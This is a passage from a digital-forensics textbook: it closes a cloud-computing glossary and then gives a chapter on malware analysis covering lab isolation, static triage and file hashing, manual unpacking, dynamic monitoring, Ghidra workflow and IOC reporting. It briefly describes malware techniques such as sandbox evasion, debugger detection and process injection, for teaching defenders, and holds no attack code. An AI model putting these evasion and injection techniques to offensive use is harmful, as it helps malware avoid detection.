Container A lightweight, standalone package of software that includes everything needed to run an application. Containers are designed to be ephemeral and are often managed by an orchestration platform like Docker or Kubernetes.

Control Plane The ”brain” of a Kubernetes cluster, which manages the overall state, schedules containers, and handles all administrative tasks.

CoW Copy-on-Write: A file system strategy where a new copy of data is created whenever a modification is attempted, leaving the original data unchanged. This is used by Docker to create image layers.

CSP Cloud Service Provider: A company that offers cloud computing services, such as infrastructure, platforms, or software, to the public or private organizations. Examples include AWS, Microsoft Azure, and Google Cloud Platform.

Data Sovereignty The legal principle that digital data is subject to the laws of the country in which it is physically located, creating jurisdictional challenges for cross-border investigations.

Deep Packet Inspection The detailed analysis of the content (payload) of network packets, going beyond just the metadata to understand what data was being transmitted.

eDiscovery Electronic Discovery: The legal process of identifying, collecting, and producing electronically stored information (ESI) in response to a request for a lawsuit or investigation.

EC2 Elastic Compute Cloud: The IaaS service from Amazon Web Services (AWS) that provides scalable virtual servers.

Ephemeral Describes systems, data, or computing resources that exist for only a very short time, a common characteristic of modern cloud environments.

etcd A distributed key-value database that stores the entire configuration and state of a Kubernetes cluster.

FaaS Functions as a Service: A serverless computing model where code is executed in response to events without the user managing any underlying server infrastructure.

GCP Google Cloud Platform: Google's suite of cloud computing services.

Guest OS The operating system that runs inside a virtual machine (VM).

GuardDuty An AWS threat detection service that continuously monitors for malicious activity and unauthorized behavior by analyzing various log sources.

Hypervisor Software, also known as a Virtual Machine Monitor (VMM), that creates and runs virtual machines (VMs), separating them from the physical hardware.

IAM Identity and Access Management: The framework of policies and technologies for ensuring that the right users have the appropriate access to cloud resources.

IaaS Infrastructure as a Service: A cloud service model where the CSP provides fundamental computing resources like virtual servers, storage, and networking. This model offers the most access for forensic investigators.

Invocation A single, complete execution of a serverless function, such as an AWS Lambda function.

K8s Kubernetes: A popular open-source orchestration platform used to automate the deployment, scaling, and management of containerized applications.

Logical Acquisition The process of collecting a copy of digital data (e.g., files, disk images) via software, as opposed to physically seizing the hardware it is stored on.

Metadata Data that provides information about other data. In networking, this includes source/destination IPs and ports, but not the content of the communication.

MLAT Mutual Legal Assistance Treaty: A formal agreement between countries to provide and exchange information and assistance in legal and criminal investigations.

Mounting The process of making a filesystem, such as one contained within a virtual disk image, accessible to an operating system as a usable drive.

NIST National Institute of Standards and Technology: A U.S. agency that develops standards and guidelines for various technologies, including the widely accepted definitions for cloud computing models.

Non-content records Subscriber information about a cloud account, such as the owner's name, billing address, and email, which can often be obtained with a subpoena.

Node A worker machine, either physical or virtual, that is part of a Kubernetes cluster and is responsible for running containers.

NSG Network Security Group: The Azure equivalent of a firewall, used to filter network traffic to and from Azure resources in a virtual network.

Object Storage A cloud storage architecture designed to handle large amounts of unstructured data. Examples include Amazon S3, Azure Blob Storage, and Google Cloud Storage.

Orchestration Platform A tool that automates the management, scaling, and operation of complex systems, most commonly used for containers (e.g., Kubernetes).

OS Operating System: The core software that manages all the hardware and software on a computer.

PaaS Platform as a Service: A cloud service model where the CSP manages the underlying infrastructure and operating system, allowing customers to focus only on deploying and managing their applications. Forensic evidence is primarily limited to application logs.

PCAP Packet Capture: The act of intercepting and logging the full content of traffic passing over a digital network.

Payload The actual data content within a network packet, distinct from the header information (metadata) that directs it.

Pod The smallest and simplest unit in the Kubernetes object model; it represents a single instance of a running process in a cluster and can contain one or more containers.

Principle of Least Privilege A security concept that dictates a user or component should only be given the minimum levels of access or permissions needed to perform its specific function.

S3 Simple Storage Service: Amazon's highly scalable object storage service, commonly used for data backups, log storage, and hosting static website content.

SaaS Software as a Service: A cloud service model where the CSP provides a complete, ready-to-use application over the internet. Forensic investigations are highly restricted, relying almost entirely on audit logs provided by the vendor.

SDK Software Development Kit: A collection of software development tools in one installable package, used to create applications for a specific platform.

Search Warrant A legal document authorized by a judge that permits law enforcement to conduct a search of a person or location for evidence of a crime. It is typically required to obtain content data from a CSP.

Serverless Computing A cloud execution model where the cloud provider automatically manages the server infrastructure, and code is run in response to specific triggers or events.

Shadow IT The use of IT systems, devices, software, and services within an organization without the explicit approval or knowledge of the IT department.

Shared Responsibility Model A cloud security framework that outlines the security obligations of the Cloud Service Provider (security *of* the cloud) and the customer (security *in* the cloud).

Snapshot In cloud computing, a point-in-time, bit-for-bit copy of a storage volume (like a virtual hard disk). It is the primary method for creating a forensic image in an IaaS environment.

Spoliation The intentional or negligent destruction, alteration, or concealment of evidence relevant to a legal proceeding.

Subpoena A legal order compelling an individual or organization to produce documents or provide testimony. It is often used to obtain non-content records from a CSP.

Trace ID A unique identifier assigned to a request that allows it to be tracked as it moves through multiple services in a distributed system, enabling investigators to reconstruct a complex transaction.

UAL Unified Audit Log: The centralized logging service in Microsoft 365 that consolidates user and administrator activity from across all integrated services (e.g., Exchange, SharePoint, Teams).

VHD/VHDX Virtual Hard Disk: A virtual disk image file format used by Microsoft virtualization products, including Hyper-V.

VM Virtual Machine: A software-based emulation of a physical computer that runs on a host and is managed by a hypervisor.

VMDK Virtual Machine Disk: A virtual disk image file format used by VMware virtualization products.

Volatile Evidence Digital evidence that is temporary and will be lost if the system is powered off or rebooted, such as data stored in RAM.

Volume In the context of containers, a designated directory on the host machine's file system that is mounted into a container to store data persistently.

VPC Flow Logs Logs that capture metadata about IP traffic flowing to and from network interfaces within a Virtual Private Cloud (VPC), used for network monitoring and forensics.

Chapter 15

Malware Analysis and Reverse Engineering

Introduction

In digital investigations, you will often find malicious software, also called malware. To understand the full story of an attack, an investigator must be able to analyze the attacker's tools. This chapter introduces the fundamental skills of malware analysis. You will learn how to safely examine malicious programs to discover their purpose, capabilities, and impact. We will show you how to build a secure laboratory, perform static analysis to inspect a file without running it, and use dynamic analysis to observe its behavior in a controlled environment.

15.1 Foundations of Malware Analysis

15.1.1 Introduction

Malware analysis is the skill of taking apart malicious software to understand how it works, what it does, where it came from, and what damage it can cause. This skill is essential for cybercrime investigation. A normal digital forensic investigation often looks for evidence of what happened in the past. In contrast, malware analysis gives information about the tools the attacker used. By understanding the malware, an investigator can learn exactly what the attacker did, what data they wanted, and how they remained on a hacked system. This chapter is a basic introduction to the essential skills of malware analysis. It helps investigators turn an attacker's weapon into a source of useful information for responding to incidents, hunting for threats, and collecting evidence.

15.1.2 Goals and Motivations

The main goal of malware analysis is to get *actionable intelligence*. This is information that can be used to make decisions and take action. It is a focused investigation with practical results. These results include several specific goals [188]:

- **Determine Capabilities:** The first question an analyst must answer is, "What does this program do?" This means finding out if the malware is a *keylogger* (a program that records keyboard presses), *ransomware* (software that locks files and demands money), a *remote access trojan (RAT)* (a tool giving an attacker secret control over a computer), a *credential stealer* (a program that steals usernames and passwords), or a tool for *data exfiltration* (secretly copying data from a network). You must understand what the malware can do to know how much damage it has caused.
- **Extract Indicators of Compromise (IOCs):** *Indicators of Compromise*, or IOCs, are pieces of digital evidence that prove a system has been hacked. Malware analysis is the main way to find these indicators. Common IOCs include the malware's file hashes (like MD5 or SHA256), domain names or IP addresses of *command and control (C2) servers* (computers used by attackers to send commands to malware), specific registry keys used for *persistence* (the method malware uses to run again after a reboot), or unique *mutex* names. A mutex is an object that stops multiple copies of the malware from running at the same time.
- **Understand Infection and Propagation:** How did the malware get onto the system? This is called the *infection vector*. How does it spread to other systems? Answering these questions helps stop the problem from spreading and prevents future attacks.
- **Create Detection Signatures and Removal Strategies:** The detailed information from the analysis can be used to create strong detection rules. Examples are *YARA rules*, which identify malware from text or binary patterns, or *Snort/Suricata rules*, which detect malicious network traffic. This information also helps develop a safe and effective way to remove the malware from infected systems.

15.1.3 Malware Analysis Spectrum

Malware analysis is not one single activity but a range of methods. These are usually grouped into three types [135].

Static Analysis is the process of examining a malware file without running its code. It is the fastest and safest type of analysis. Methods include looking at the file's properties, finding text inside the file, analyzing its header information, and disassembling its code. The main advantage is safety; the analyst cannot accidentally get infected. However, modern

malware often uses *obfuscation* (making code hard to read) and *packing* (compressing or encrypting code) to defeat static analysis. These tricks hide the malware's real instructions until it runs.

Dynamic Analysis means running the malware in a safe, isolated environment and watching what it does. This is often called "detonation." By watching how the malware interacts with the operating system—for example, creating files, changing the registry, or making network connections—the analyst can see its true purpose. This method is very effective, even if the malware's code is hidden. The main risk is that smart malware might detect that it is in a controlled environment, often called a *sandbox*. A sandbox is a secure, isolated system for running suspicious programs safely. If malware detects a sandbox, it might change its behavior or not run at all.

Hybrid Analysis combines static and dynamic methods, using the advantages of both. An analyst might use static analysis first to get an idea of what the malware can do. Then, they can use that knowledge to perform a more focused dynamic analysis. In the other direction, behavior seen during dynamic analysis can show the analyst which specific parts of the code to look at more closely with static analysis.

15.2 Creating a Secure Analysis Laboratory

15.2.1 The Principle of Isolation

The most important rule of malware analysis is: **Never analyze malware on a computer used for normal work or any computer connected to a network you trust.** Breaking this rule is very risky. The risks include accidental infection of your main computer, the spread of the malware across your local network, the loss of sensitive personal or company data, and helping an attacker's network (for example, by becoming part of a DDoS attack). You must use a special, isolated lab. This is not a suggestion; it is a requirement.

15.2.2 Virtual Machine (VM) Setup

Virtualization is the most important part of a modern malware analysis lab. A *Virtual Machine (VM)* is a software computer that runs inside your physical computer. A VM provides an isolated environment that you can throw away and reset to a clean state after each analysis.

- **Hypervisors:** A *hypervisor* is the software that creates and runs VMs. Excellent, free options include Oracle VM VirtualBox [167]. VMware Workstation is a powerful commercial alternative.
- **Victim VM:** The main analysis environment is a "victim" VM. This is usually a standard installation of a Windows operating system, because

most malware targets Windows. It should be set up to look like a normal user's computer but must not contain any sensitive data.

- **Networking:** Correct network setup is essential for isolation. The VM's network adapter should be set to `Host-only Networking` or a custom virtual network. This network should not be connected to the host computer's physical network adapter. This stops the malware from reaching the internet or your local network. A more advanced setup uses a second "gateway" VM. This gateway acts as a router for the victim VM, which allows you to capture and inspect all of its network traffic with tools on the gateway.
- **Snapshots:** The most important VM feature for malware analysis is the snapshot. Before putting a malware sample into the VM, the analyst must take a "clean" snapshot. After the analysis is finished, the VM can be quickly returned to this clean state. This erases all changes made by the malware. This process gives you a fresh, consistent environment for every sample.

15.2.3 Essential Open-Source Tooling

A good lab has a set of special tools. The following open-source tools provide a powerful and low-cost starting point.

Tools for the Windows Analysis VM:

- **Process Monitor (ProcMon):** From the Microsoft Sysinternals suite, ProcMon gives a real-time log of all file system, registry, and process activity [182].
- **Process Hacker:** An advanced task manager that can look at a process's memory, handles, and network connections.
- **Wireshark:** The most common tool for network protocol analysis. It is used to capture and inspect all traffic leaving the VM [211].
- **PE-bear / Pestudio:** Tools for inspecting the structure of Portable Executable (PE) files. PE is the standard file format for Windows programs.
- **HxD:** A fast and efficient *hex editor*, which is a tool for looking at and changing the raw binary data of a file.
- **RegShot:** A tool that takes a snapshot of the system registry. It allows you to compare the registry before and after running a program to see what keys the program created or changed.

Practical Demo: Using RegShot, Before you run the malware, open RegShot and click the "1st shot" button. This takes a baseline snapshot of the registry. After you run the malware and let it work, click the "2nd shot" button. Finally, click "Compare". RegShot will create a report that

shows every registry key and value that was added, changed, or deleted. This immediately shows persistence methods or configuration data stored by the malware.

Tools for the Host or a Separate Linux VM:

- **The Sleuth Kit (TSK):** A library and set of command-line tools for forensic analysis of disk images .
- **Volatility 3:** The industry-standard tool for *memory forensics*, which is the analysis of a computer's memory (RAM) to find evidence like injected code [209].
- **Ghidra:** A powerful software reverse engineering suite developed and released by the NSA [157].
- **Remnux:** A Linux distribution that comes with a large collection of tools for malware analysis and reverse engineering already installed.

15.3 Static Analysis Without Execution

15.3.1 Introduction

Static analysis is the first step of an investigation. It gives quick, low-risk information that helps an analyst classify the malware. It also helps the analyst make educated guesses about what the malware does. These guesses can then be tested during dynamic analysis or deeper reverse engineering.

15.3.2 Initial Triage and File Identification

- **Hashing:** The first step is to calculate the file's *cryptographic hash*. The MD5, SHA1, and SHA256 hashes act as a unique digital fingerprint for the sample. Analysts use these hashes as the main identifier when they search *threat intelligence databases*. A threat intelligence database, like VirusTotal [223], is an online service that collects information about malware. Analysts also use hashes to check if the sample has been seen before in other investigations.

Practical Demo: Cross-platform File Hashing, Hashing a file can be done on both Windows and Linux. Below are several common approaches — choose the one that matches the environment you have.

```
# ------------------------------
# 1) Windows (PowerShell - built in)
# ------------------------------
PS C:\> Get-FileHash C:\samples\malware.exe -Algorithm SHA256
Algorithm       Hash                                                   Path
---------       ----                                                   ----
SHA256          A1B2C3D4E5F6...[hex]...7890                            C:\samples\malware.exe
```

```
# ----------------------------
# 2) Windows (certutil - built in fallback)
# ----------------------------
C:\> certutil -hashfile C:\samples\malware.exe SHA256
SHA256 hash of file C:\samples\malware.exe:
a1 b2 c3 d4 e5 f6 ... 78 90
CertUtil: -hashfile command completed successfully.

# ----------------------------
# 3) Linux (sha256sum - standard)
# ----------------------------
$ sha256sum /samples/malware.exe
a1b2c3d4e5f6...[hex]...7890  /samples/malware.exe

# ----------------------------
# 4) Cross-platform: PowerShell Core (pwsh) - works on Windows & Linux
# ----------------------------
$ pwsh -Command "Get-FileHash '/path/to/malware.exe' -Algorithm SHA256"
# (Output format same as Get-FileHash above)

# ----------------------------
# 5) Cross-platform: Python 3 (streaming, safe for large files)
# ----------------------------
$ python3 -c "import hashlib,sys
h=hashlib.sha256()
with open(sys.argv[1],'rb') as f:
    for chunk in iter(lambda: f.read(8192), b''):
        h.update(chunk)
print(h.hexdigest())" /path/to/malware.exe
# prints: a1b2c3d4e5f6...[hex]...7890
```

Notes:

- `Get-FileHash` is available in Windows PowerShell and in PowerShell Core (`pwsh`) on Linux — making it a convenient cross-platform choice.
- `sha256sum` and `certutil` are native on many Linux and Windows installs respectively.
- The Python example reads the file in chunks (safe for large images) and will work wherever Python 3 is installed.
- Record the full hexadecimal digest in your chain-of-custody documentation; matching digests prove bit-for-bit identity.

- **File Type Identification:** Attackers often disguise malware by giving it a misleading file extension (e.g., renaming `payload.exe` to `document.pdf`). Tools like `file` on Linux or TrID on Windows look at a file's header to find its *magic numbers*. Magic numbers are the first few bytes of a file that identify its true type.
- **String Analysis:** Malicious programs, like any other software, contain *strings*, which are sequences of readable text. Finding these strings can provide very useful clues. An analyst can use tools to find both standard ASCII strings and Unicode strings (for different languages). These strings might show C2 domains, IP addresses, file paths, error messages, or names

of library functions the malware uses. To prevent this, attackers often hide or scramble strings. The FLOSS (FireEye Labs Obfuscated String Solver) tool is made to automatically find and decode these hidden strings from malware [138].

15.3.3 Dissecting the Portable Executable (PE) Format

The PE file format is the standard structure for executables, object code, and DLLs on Windows [148]. Understanding its parts is essential for static analysis.

- **Import Address Table (IAT):** The IAT lists all the functions that the program imports from other libraries (DLLs). This is a very valuable source of information. For example, if a program imports functions like `CreateProcess`, `WriteFile`, and `Connect`, an analyst can guess that it probably starts other programs, writes files, and makes network connections. If it imports `URLDownloadToFile`, it is almost certainly made to download something from the internet.
- **Export Table:** This table lists the functions that the program provides for other programs to use. A long list of exports usually means the file is a DLL. This could be one part of a larger malware infection that has multiple stages.
- **Timestamp:** The PE header contains a timestamp that shows when the file was compiled. However, this is often not correct. Attackers frequently change this value using a technique called *timestomping*. Timestomping changes a file's timestamp to mislead investigators, making the file look older or newer than it really is, or to match the timestamp of a normal system file [19].

15.3.4 Identifying Obfuscation and Packing

- **Packing:** To avoid static analysis and antivirus software, attackers often use "packers." A packer is a tool that compresses and/or encrypts a program's original code. The packed file has a small "stub" program. This stub contains the instructions to decompress or decrypt the original code in memory when the program runs. After unpacking, the stub transfers control to the original code. The UPX packer is a common example.
- **Detection:** Packed files often show clear signs. They usually have a very small import table. They also often have sections with strange names (e.g., `.UPX0`, `.UPX1`) or high *entropy*. Entropy is a measure of randomness in data. Packed or encrypted data is very random, so it has high entropy.

Algorithmic Breakdown: Manual Unpacking with a Debugger When automatic tools fail, an analyst can unpack a file by hand using a *debugger*. A debugger is a tool that lets an analyst run a program step-by-step to see how it works. The general process is:

(1) Load the packed program into a debugger (e.g., x64dbg).

(2) Identify the Original Entry Point (OEP). The starting point of the packed file is the unpacking stub. The analyst must step through the stub's code to find where it finishes and jumps to the real, unpacked code. This jump is often a `jmp` or `call` instruction to a different area in memory.

(3) Set a hardware breakpoint on the likely OEP. Malware is less likely to detect hardware breakpoints, which are managed by the CPU.

(4) Run the program. The debugger will run the unpacking stub and stop exactly at the OEP. The original program's code is now completely available in memory.

(5) Dump the process memory. Using a tool like Scylla, the analyst saves a copy of the running process's memory to a new file. This creates a raw, unpacked version of the program.

(6) Fix the Import Address Table. The IAT in the dumped file will not be correct. The same tool is used to rebuild the IAT so that the new, unpacked program can run correctly.

15.4 Dynamic Analysis by Observation

15.4.1 Introduction

After static analysis gives you some educated guesses, you use dynamic analysis to check if they are correct. By running the malware in the isolated lab, the investigator can watch its behavior and gather real evidence of its actions. This is where you apply what you have learned.

15.4.2 Monitoring System-Level Behavior

Process Monitor (ProcMon) is the main tool for watching activity on the infected computer. It creates a very large log of events, so it is important to use filters effectively. The simplest and most powerful filter is to show only events from the malware's process.

Key events to watch for include:

- **Persistence:** How does the malware make sure it runs again after a reboot? Look for new registry keys or values created in common autorun locations like `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` or `RunOnce`. Also, watch for new services or scheduled tasks. These are common persistence methods listed in the MITRE ATT&CK framework [203].

- **File Manipulation:** Watch any files the malware creates, deletes, or changes. Note the location of any *dropped files*, which are new files created on the system by the malware. It is common for malware to drop files into system folders like `C:\Windows\System32` or user profile folders like `AppData`.
- **Process Injection:** This is a stealthy technique where malware hides its malicious code inside a normal, trusted program that is already running, like `explorer.exe` or `svchost.exe`. Watch for suspicious API calls like `CreateRemoteThread` or `WriteProcessMemory` that target legitimate system processes.

15.4.3 Capturing and Analyzing Network Traffic

Using a tool like Wireshark on the gateway VM or inside the analysis VM allows you to capture all network communications.

- **DNS Queries:** One of the first things malware often does is find the IP address for its C2 server. Watch for strange or unusual DNS requests.
- **HTTP/HTTPS Traffic:** Look for `GET` requests that might be downloading additional malicious programs or configuration files. Look for `POST` requests that could be sending out stolen data. Even if the traffic is encrypted with HTTPS, the destination IP address, domain name, and the size and timing of the data packets can be valuable clues.
- **Beaconing:** Identify regular, "heartbeat" connections to a C2 server. This behavior is called *beaconing*. This traffic shows the malware is active and waiting for commands. The frequency and size of these beacons can become a reliable network signature for detection.

> **Real-World Story: The WannaCry Killswitch,** The global WannaCry ransomware attack in 2017 was stopped in a famous case by a single researcher, Marcus Hutchins. While analyzing the malware's network traffic, he found that before it encrypted files, it sent a request to a long, strange domain name. He guessed this might be a *killswitch*, a mechanism designed to shut down the malware. He thought that if the malware could connect to the domain, it would stop running. He quickly registered the domain name for about $10. His guess was correct. By making the domain live, he accidentally turned on the killswitch in all new infections around the world. This stopped the worm from spreading [120]. This story is a great example of the power of network traffic analysis.

15.4.4 Common Sandbox Evasion Tactics

Advanced malware is often "sandbox-aware" and will try to detect if it is being analyzed.

- **VM Awareness:** The malware looks for clues that it is running inside a VM. Examples include specific MAC address prefixes, unique registry keys left by VMWare Tools or VirtualBox Guest Additions, or a very low number of CPU cores.
- **User Activity Checks:** The malware may do nothing at first. It might only activate its malicious code after it detects user interaction, like mouse movements or keyboard clicks. These are often missing in automated sandboxes.
- **Execution Delays:** The malware may "sleep" for a long time (e.g., 30 minutes) when it starts. This is done to wait longer than automated analysis systems, which may only watch a sample for a few minutes.
- **Debugger Detection:** The malware can use specific API calls, like `IsDebuggerPresent()`, to check if a debugger is attached to it. If it detects a debugger, it will stop itself.

15.5 Reverse Engineering with Ghidra

15.5.1 From Assembly to High-Level Code

For the deepest level of understanding, an analyst must look at the code itself. This is called *reverse engineering*, which is the process of taking apart a finished program to see how it was made and what it does.

- **Disassembly:** A *disassembler* is a tool that converts a program's binary machine code into a human-readable format called *assembly language*. Assembly language is made of low-level instructions like `mov` (move data), `jmp` (jump to another location), and `push` (add data to the stack). Analyzing complex programs in assembly language is very slow and difficult.
- **Decompilation:** A *decompiler* takes this one step further. It tries to reverse the compilation process, turning the low-level assembly code back into a high-level, C-like language. This is what modern tools like Ghidra do. A decompiler makes the program's logic much easier to understand.

Real-World Story: The Release of Ghidra, For many years, the U.S. National Security Agency (NSA) developed and used a sophisticated reverse engineering tool for its own use, named Ghidra. In 2019, the NSA made the surprising decision to release Ghidra to the public as a free, open-source tool. This act made powerful tools available to everyone overnight. It gave students, researchers, and company security teams access to the same class of tools that were previously only used by government agencies [157].

15.5.2 A Practical Workflow in Ghidra

Ghidra can look difficult at first, but a step-by-step method works very well.

(1) **Initial Setup:** Create a new project in Ghidra, import the malware file, and let Ghidra's powerful auto-analysis run. This process automatically identifies parts of the program, like functions, code, and text strings, and then it generates a decompiled version.

(2) **Locating `main`:** Analysis usually starts at the program's main entry point, often named `main`, `WinMain`, or `entry`. Ghidra will find this for you.

(3) **Analyzing Functions and Strings:** From the entry point, follow the code's logic. Look at the functions it calls. Look at the strings window and find where the strings are used in the code to understand their purpose.

(4) **Renaming and Commenting:** This is the single most important step for understanding complex code. Ghidra gives functions and variables generic names like `FUN_004011f0` and `local_14`. As you figure out what a function does, rename it. For example, if you see a function that builds a URL and calls a network API, you can rename it to `DownloadFileFromC2`. This changes the confusing code into a clear story of what the malware does.

Practical Demo: Clarifying Code in Ghidra, In Ghidra's decompiler window, you might see a variable like `local_14` being sent to a function like `socket()`. By understanding the situation, you can guess this is a handle for a network socket. Right-click the variable, select "Rename Variable," and change its name to `socket_handle`. Ghidra will automatically update the name everywhere it is used in that function, which makes the code much easier to read.

15.5.3 Interactive Debugging for Deeper Insight

While Ghidra has a debugger, many analysts use separate debuggers like x64dbg (for Windows) to watch the program while it is running.

- **Breakpoints:** A *breakpoint* is a signal that tells a debugger to stop the program at a specific instruction. When the program reaches the breakpoint, it freezes. This lets the analyst look at the data in memory, the CPU's internal storage (registers), and the program's temporary data area (the stack). This is very valuable for understanding what a piece of code is doing with data.

- **Stepping:** From a breakpoint, an analyst can control the program's execution one instruction at a time. "Step-over" runs the current function call and stops after it is finished. "Step-into" goes inside the function call to analyze it. "Step-out" finishes the current function and stops in the function that called it. This precise control is critical for understanding complex algorithms, like special methods the malware uses to encrypt or decrypt data.

15.6 Synthesizing Findings and Reporting

15.6.1 Compiling Indicators of Compromise (IOCs)

The final result of a malware analysis investigation is a structured list of IOCs that can be used to protect a network. These are the real facts discovered during analysis. They should be organized clearly so they are easy to use.

Network IOCs include evidence related to the malware's communication:

- C2 server IP addresses
- C2 server domain names
- Malicious URLs
- Unique HTTP *User-Agent strings*. A User-Agent string is text that a program sends to a server to identify itself.

Host-Based IOCs include evidence found on the infected computer:

- File hashes (MD5, SHA1, SHA256) of the malware and any files it dropped
- File paths where the malware is installed
- Registry keys and values used for persistence
- Mutex names created by the malware

15.6.2 Structuring the Malware Analysis Report

A clear, well-organized report makes sure that different people, from technicians to managers, can understand and use the results. A standard report should include these sections:

(1) **Executive Summary:** A short summary for people who are not technical. It explains the malware's purpose, what it can do, and its overall impact.

(2) **File Information:** The basic identifying information for the sample, including all calculated hashes, file type, file size, and other relevant details.

(3) **Static Analysis Findings:** A summary of important findings from the initial analysis, including interesting strings, suspicious imports, and any information about packers or obfuscation.

(4) **Dynamic Analysis Findings:** A description of the malware's behavior when it was run, including details about persistence methods, file system changes, and network communications.

(5) **Reverse Engineering Insights:** If it applies, details of any specific algorithms (e.g., C2 communication protocol, data encryption method) discovered through code-level analysis in Ghidra or a debugger.

(6) **Indicators of Compromise (IOCs):** A clean, structured list of all host-based and network-based IOCs. It should be formatted so it can be easily added to security tools (e.g., firewalls, IDS, SIEMs).

(7) **Detection and Mitigation:** Specific suggestions for how to find the malware in a company network and how to contain and remove the infection. This may include YARA rules, network block rules, or specific steps for fixing the problem.

Conclusion

In this chapter, you learned the key steps for analyzing malware. The most important skills are creating a safe, isolated lab and using a combination of static and dynamic analysis to understand a program's behavior. The final goal is to collect Indicators of Compromise (IOCs), such as file hashes and network addresses. An investigator uses this information to determine exactly how an attack happened and to create detection rules to protect other systems. In the next chapter, we will use these skills to investigate the specific digital evidence found within the Windows operating system.

Acronyms and Terminology

Actionable Intelligence Information gathered during analysis that is useful for making decisions and taking immediate, practical actions to respond to a threat.

API (Application Programming Interface) A set of functions provided by an operating system or library that a program can call to perform tasks, such as creating files or making network connections.

Assembly Language A low-level, human-readable programming language that corresponds directly to a computer's machine code instructions.

Beaconing A behavior where malware sends regular, periodic "heartbeat" signals to its command server to show it is active and ready to receive instructions.

Breakpoint A signal set in a debugger that intentionally stops a program's execution at a specific point, allowing an analyst to inspect its state.

C2 (Command and Control) Server A computer controlled by an attacker that is used to send commands to malware and receive stolen data from infected systems.

Credential Stealer A type of malware specifically designed to steal usernames and passwords from a victim's computer.

Cryptographic Hash A unique digital fingerprint (e.g., MD5, SHA256) generated from a file, used to identify it and verify its integrity.

Data Exfiltration The unauthorized and secret act of copying and transferring data from a computer or network.

Debugger A tool that allows an analyst to run a program in a controlled manner, stepping through its code line-by-line and inspecting its memory and state.

Debugger Detection A technique used by malware to check if it is being analyzed by a debugger, often causing it to shut down or change its behavior to evade analysis.

Decompiler A tool that attempts to convert a program's low-level machine or assembly code back into a more readable, high-level language like C.

Disassembler A tool that translates a program's binary machine code into its corresponding, human-readable assembly language.

DLL (Dynamic-Link Library) A file containing code and data that can be used by multiple programs at the same time on Windows operating systems.

DNS (Domain Name System) Queries A request made by a computer to a DNS server to translate a human-readable domain name (like www.example.com) into a machine-readable IP address.

Dropped Files Any new files that are created and saved on a computer's file system by a piece of malware after it has been executed.

Dynamic Analysis The process of running malware in a safe, controlled environment (a sandbox) to observe its actions and behavior in real-time.

Entropy In malware analysis, a measure of the randomness of data in a file. High entropy often indicates that the file is compressed or encrypted, which is a common sign of packing.

FLOSS (FireEye Labs Obfuscated String Solver) A specialized tool used to automatically find and decode hidden or scrambled text strings within a malware file.

Ghidra A free and open-source software reverse engineering suite developed by the U.S. National Security Agency (NSA).

Hardware Breakpoint A specific type of breakpoint that is set using the computer's CPU features, making it more difficult for malware to detect compared to a software breakpoint.

Hex Editor A program that allows a user to view and edit the raw, binary data of a file in hexadecimal format.

HKCU An abbreviation for `HKEY_CURRENT_USER`, a main section of the Windows Registry that stores settings for the currently logged-in user and is a common location for malware persistence.

Host-Based IOCs Indicators of Compromise that are found on an infected computer, such as file hashes, registry keys, or file paths.

Hybrid Analysis A malware analysis strategy that combines the techniques of both static and dynamic analysis to get a more complete understanding of a threat.

Hypervisor The software that creates, runs, and manages virtual machines (VMs).

IAT (Import Address Table) A table within a Windows executable (PE) file that lists all the external functions (from DLLs) that the program needs to run.

Infection Vector The method by which malware initially gets onto a computer or network, such as through a malicious email attachment or a software vulnerability.

IOCs (Indicators of Compromise) Specific pieces of digital evidence (like a file hash or IP address) that provide high confidence that a system has been hacked.

Isolation The fundamental principle of malware analysis that requires all analysis to be performed in a dedicated, separate environment that is disconnected from any trusted or important networks.

Keylogger A type of malicious software that secretly records every key pressed on a computer's keyboard.

Killswitch A mechanism built into malware by its creators that can be used to disable it, often triggered by a specific condition like being able to contact a certain domain name.

Magic Numbers A sequence of specific bytes at the very beginning of a file that identifies the true file type, regardless of the file extension.

Malware A general term for any malicious software, such as viruses, ransomware, or trojans, designed to harm or exploit a computer system.

MD5 / SHA256 The names of two common cryptographic hashing algorithms used to create a unique digital fingerprint for a file.

Memory Forensics The art and science of analyzing a computer's volatile memory (RAM) to find digital evidence of malicious activity.

Mutex A programming object used to ensure that only one instance of a program (or a specific part of it) can run at a time. Malware uses it to avoid infecting a system multiple times.

Network IOCs Indicators of Compromise that are related to a malware's network activity, such as C2 server IP addresses or malicious domain names.

NSA (National Security Agency) The U.S. government intelligence agency responsible for creating and later open-sourcing the Ghidra reverse engineering framework.

Obfuscation The technique of deliberately making source code or machine code confusing and difficult for humans to read or for security tools to analyze.

OEP (Original Entry Point) The address in memory where the real, unpacked code of a program begins. Finding the OEP is a key step in manually unpacking malware.

Packing The process of compressing or encrypting a program's executable code. The packed program must be decompressed or decrypted in memory before it can run.

PE (Portable Executable) The standard file format for executable programs, object code, and DLLs on Microsoft Windows operating systems.

Persistence Any technique used by malware to ensure that it will automatically run again after the computer is rebooted.

ProcMon (Process Monitor) A Microsoft utility that provides a real-time view of all file system, Registry, and process/thread activity on a Windows system.

Process Injection A stealthy technique where malware injects its malicious code into the memory space of a legitimate, running process to hide its activities.

Ransomware A type of malware that encrypts a victim's files and demands a payment (a ransom) in exchange for the decryption key.

RAT (Remote Access Trojan) A type of malware that provides an attacker with complete, hidden remote control over a victim's computer.

RegShot A utility that takes a "snapshot" of the Windows Registry, allowing an analyst to compare the "before" and "after" states to see what changes a program made.

Reverse Engineering The process of deconstructing a finished software program to understand its design, functionality, and internal logic.

Sandbox A secure, isolated, and controlled environment (often a virtual machine) where potentially malicious software can be safely run and analyzed.

Snapsots A feature of virtualization software that captures the complete state of a virtual machine at a specific moment, allowing it to be quickly reverted to that clean state.

Snort/Suricata rules Detection signatures used by network intrusion detection systems (IDS) to identify malicious activity based on patterns in network traffic.

Static Analysis The process of examining a malware file and its code without actually running it.

Stepping In a debugger, the action of executing a program one instruction at a time to closely observe its behavior.

Strings Any sequences of readable text characters (like error messages, URLs, or file paths) found within the binary data of a program file.

Threat Intelligence Databases Online platforms or services (like VirusTotal) that collect and aggregate data about malware samples, domains, and other threats from multiple sources.

Timestomping A technique used by attackers to modify the timestamps (like creation or modification dates) of a file to mislead investigators or evade detection.

TSK (The Sleuth Kit) A library and collection of command-line tools used for performing in-depth forensic analysis of disk images.

User-Agent String A line of text that a program (like a web browser or malware) sends to a server to identify itself and its version.

VM (Virtual Machine) A software-based emulation of a physical computer that runs as a self-contained system within another, physical host computer.

VM Awareness A capability of advanced malware that allows it to detect whether it is running inside a virtual machine, which may cause it to alter its behavior.

Wireshark A widely used, free, and open-source tool for capturing and interactively analyzing network traffic.

YARA rules Detection signatures based on text or binary patterns within files, used to identify and classify malware families.

